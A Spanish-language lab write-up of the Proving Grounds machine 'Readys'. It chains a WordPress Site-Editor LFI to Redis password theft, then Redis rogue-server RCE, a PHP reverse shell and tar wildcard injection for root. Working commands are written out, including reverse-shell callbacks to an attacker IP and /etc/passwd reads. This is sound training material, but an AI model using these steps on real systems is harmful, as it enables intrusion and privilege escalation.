the_open_door
café
ESEN

Readys

Proving Grounds PracticeMediaLinux192.168.123.166

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#wordpress#site-editor#lfi#cve-2018-7422#redis#redis-rogue-server#rce#tar-wildcard#cron#suid#oscp
TL;DR. Readys corre un WordPress 5.7.2 con el plugin Site-Editor 1.1.1, vulnerable a una LFI (CVE-2018-7422) (LFI de plugin WordPress). Con ella leemos /etc/redis/redis.conf y obtenemos la contraseña de Redis, que está expuesto en el 6379. Un rogue server carga un módulo malicioso y nos da RCE como el usuario redis (Redis rogue server RCE). Desde ahí dejamos un PHP en /dev/shm y lo ejecutamos vía la misma LFI: como el servidor web corre como alice, conseguimos su shell. Un cron de root ejecuta tar ... * sobre un directorio escribible, así que con wildcard injection (inyección de comodines en tar) ponemos el SUID a bash y somos root.

Reconocimiento

Escaneo inicial

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Barremos los puertos TCP:

ping -c 1 192.168.123.166
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.123.166
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
6379/tcp open  redis
nmap -p22,80,6379 -sCV 192.168.123.166 -oN targetedScan
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.38 ((Debian))
|_http-generator: WordPress 5.7.2
|_http-title: Readys – Just another WordPress site
6379/tcp open  redis   Redis key-value store

Tres servicios. El 80 es un WordPress 5.7.2 sobre Apache, y el 6379 es un Redis expuesto a la red, algo que no debería estar accesible desde fuera. La combinación huele a LFI/credenciales en WordPress que abran el Redis.

HTTP - TCP 80: WordPress

Wappalyzer confirma el stack (WordPress 5.7.2 sobre Debian, MySQL, Apache):

Wappalyzer sobre la home de Readys: WordPress 5.7.2, Debian, MySQL, Apache HTTP, jQuery 3.5.1

Enumeramos plugins con wpscan, que identifica Site-Editor 1.1.1:

wpscan --url http://192.168.123.166/ --enumerate ap
[+] site-editor
 | Location: http://192.168.123.166/wp-content/plugins/site-editor/
 | Version: 1.1.1 (80% confidence)

Site-Editor 1.1.1: LFI (CVE-2018-7422)

searchsploit documenta una Local File Inclusion en esa versión exacta del plugin:

searchsploit 'site editor 1.1.1'
WordPress Plugin Site Editor 1.1.1 - Local File Inclusion   | php/webapps/44340.txt
   Codes: CVE-2018-7422

El parámetro ajax_path del endpoint ajax_shortcode_pattern.php se incluye sin sanear, así que apunta a cualquier fichero del disco (LFI de plugin WordPress).

Explotación

LFI: del /etc/passwd a las credenciales de Redis

Confirmamos la LFI leyendo /etc/passwd:

curl "http://192.168.123.166/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd"

La LFI vuelca /etc/passwd; aparecen root y alice con /bin/bash, y la cuenta de servicio redis

root:x:0:0:root:/root:/bin/bash
alice:x:1000:1000::/home/alice:/bin/bash

Hay un usuario alice con shell. Como el 6379 está abierto, leemos la configuración de Redis a través de la misma LFI buscando su contraseña:

curl "http://192.168.123.166/.../ajax_shortcode_pattern.php?ajax_path=/etc/redis/redis.conf" | grep -i pass
# use a very strong password otherwise it will be very easy to break.
requirepass Ready4Redis?

La directiva requirepass Ready4Redis? nos da la credencial de autenticación de Redis.

Redis: RCE vía rogue server

Con la contraseña ya podemos autenticarnos contra Redis. Un Redis remoto y escribible permite ejecución de comandos cargando un módulo malicioso mediante la técnica del rogue server: nos hacemos pasar por un maestro de replicación, le servimos un .so con un comando nuevo y lo invocamos (Redis rogue server RCE).

Dejamos Penelope a la escucha para la opción de reverse shell (el puerto al que conecta de vuelta):

penelope <port>

Usamos redis-rce junto al módulo exp.so:

git clone https://github.com/Ridter/redis-rce
cd redis-rce
wget https://github.com/n0b0dyCN/redis-rogue-server/raw/master/exp.so
python3 redis-rce.py -r 192.168.123.166 -p 6379 -L 192.168.45.244 -P 80 -f exp.so -a 'Ready4Redis?'

Elegimos la opción de reverse shell y obtenemos ejecución como el usuario redis (uid 107):

redis-rce carga exp.so vía SLAVEOF y devuelve una reverse shell; penelope la mejora a PTY y el id muestra uid=107(redis)

redis@readys:/var/lib/redis$ id
uid=107(redis) gid=114(redis) groups=114(redis)

Post-explotación

Pivote a alice: ejecutar PHP vía la LFI

El usuario redis no tiene la flag; necesitamos a alice. Una pista clave: el directorio del sitio web pertenece a alice, lo que significa que el servidor web ejecuta el PHP con su identidad:

ls -l /var/www/ muestra el directorio html propiedad de alice:alice

redis@readys:/dev/shm$ ls -l /var/www/
total 4
drwxr-xr-x 5 alice alice 4096 Nov 16  2021 html

Combinamos las dos primitivas. El payload sale de revshells.com, con nuestra IP y el puerto 4443, eligiendo la plantilla PHP PentestMonkey (la que espera un /bin/bash en el objetivo, que es lo que hay aquí):

revshells.com con IP 192.168.45.244 y puerto 4443, la plantilla PHP PentestMonkey seleccionada y el shell fijado a /bin/bash

IP 192.168.45.244   Port 4443
Listener: nc -lvnp 4443

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP.
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
$ip = '192.168.45.244';
$port = 4443;
Shell: /bin/bash    Encoding: None

Como redis, escribimos esa reverse shell PHP en un directorio legible por todos, /dev/shm (la home de redis no nos deja, pero /dev/shm sí):

Como redis se crea rev.php en /dev/shm; ls -l confirma rev.php propiedad de redis

Luego usamos la misma LFI para incluir ese rev.php. Al incluirlo, lo interpreta el servidor web, que corre como alice, y la reverse shell entra con su identidad:

curl "http://192.168.123.166/.../ajax_shortcode_pattern.php?ajax_path=/dev/shm/rev.php"

El listener en el 4443 recibe la shell; whoami devuelve alice

listening on [any] 4443 ...
connect to [192.168.45.244] from (UNKNOWN) [192.168.123.166] 50410
Linux readys 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64
 14:34:44 up 53 min,  0 users,  load average: 0.00, 0.00, 0.00
uid=1000(alice) gid=1000(alice) groups=1000(alice)
bash: cannot set terminal process group (508): Inappropriate ioctl for device
bash: no job control in this shell
alice@readys:/$ whoami
alice

Local

cat local.txt; whoami; ip a; hostname

local.txt leída como alice en la máquina readys (192.168.123.166)

e8497c48f57e473eca7b36e4d8f895e1
alice

Escalada: cron de root con tar y wildcard injection

Enumerando tareas programadas encontramos un cron de root que ejecuta un script de backup cada 3 minutos:

cat /etc/crontab y backup.sh: */3 * * * * root /usr/local/bin/backup.sh, que hace cd /var/www/html y tar -cf /opt/backups/website.tar *

# /etc/crontab
*/3 * * * * root /usr/local/bin/backup.sh

# /usr/local/bin/backup.sh
cd /var/www/html
if [ $(find . -type f -mmin -3 | wc -l) -gt 0 ]; then
tar -cf /opt/backups/website.tar *
fi

El fallo está en tar -cf ... *: el comodín * se expande a los nombres de fichero del directorio, y alice puede escribir en /var/www/html. Si creamos ficheros cuyos nombres sean opciones de tar, estas se cuelan como argumentos. tar admite --checkpoint y --checkpoint-action=exec=..., que ejecuta un comando (inyección de comodines en tar). Creamos los ficheros-opción y un payload que ponga el bit SUID a bash:

cd /var/www/html
echo "" > '--checkpoint=1'
echo "" > '--checkpoint-action=exec=sh payload.sh'
echo 'chmod u+s /bin/bash' > payload.sh
chmod +x payload.sh

Hay que tocar algún fichero para que find -mmin -3 dispare el tar. En la siguiente ejecución del cron, root corre tar con nuestras opciones, ejecuta payload.sh y bash queda SUID. Un bash -p nos da root:

tras la inyección, ls -l /bin/bash muestra -rwsr-xr-x y bash -p devuelve whoami root

-rwsr-xr-x 1 root root 1168776 Apr 18  2019 /bin/bash
bash-5.0# whoami
root

Proof

cat /root/proof.txt; whoami; hostname; ip a

proof.txt leída como root en readys

6397e52868e96f9325c1234239cace0f
root

Cadena de ataque

WordPress 5.7.2 + Site-Editor 1.1.1  --  LFI (CVE-2018-7422)
        │  leer /etc/redis/redis.conf -> requirepass Ready4Redis?
        ▼
Redis (6379) autenticado  --  rogue server + exp.so
        │  RCE como usuario redis
        ▼
redis escribe rev.php en /dev/shm  ->  LFI lo incluye  ->  Apache (alice) lo ejecuta
        ▼
shell como alice  (local.txt)
        │  cron root: tar -cf ... *  en /var/www/html escribible
        ▼
wildcard injection (--checkpoint-action=exec) -> SUID a bash -> root  (proof.txt)

Lecciones aprendidas

  • Una LFI no se queda en leer /etc/passwd. Aquí encadenó dos saltos: primero filtró la contraseña de Redis y después sirvió de gatillo para ejecutar nuestro PHP con la identidad del servidor web. La misma primitiva, usada dos veces para dos fines distintos.
  • Redis sin red restringida es RCE. Expuesto y con contraseña conocida, el truco del rogue server carga un módulo nativo y ejecuta comandos. Redis debe escuchar solo en loopback y, aun así, no es un servicio pensado para estar expuesto.
  • Quién ejecuta el código importa tanto como el código. Pasamos de redis a alice sin contraseñas: bastó con que el proceso que interpreta el PHP corriera como alice. Conviene mirar siempre con qué identidad se ejecuta cada cosa.
  • tar * en un cron de root es un clásico letal. El comodín mezcla datos y argumentos; con --checkpoint-action=exec se convierte en ejecución como root. Hay que anclar rutas (./), evitar el glob o usar -- para cortar el parseo de opciones.
Cheatsheet de comandos 9 comandos

Repaso rápido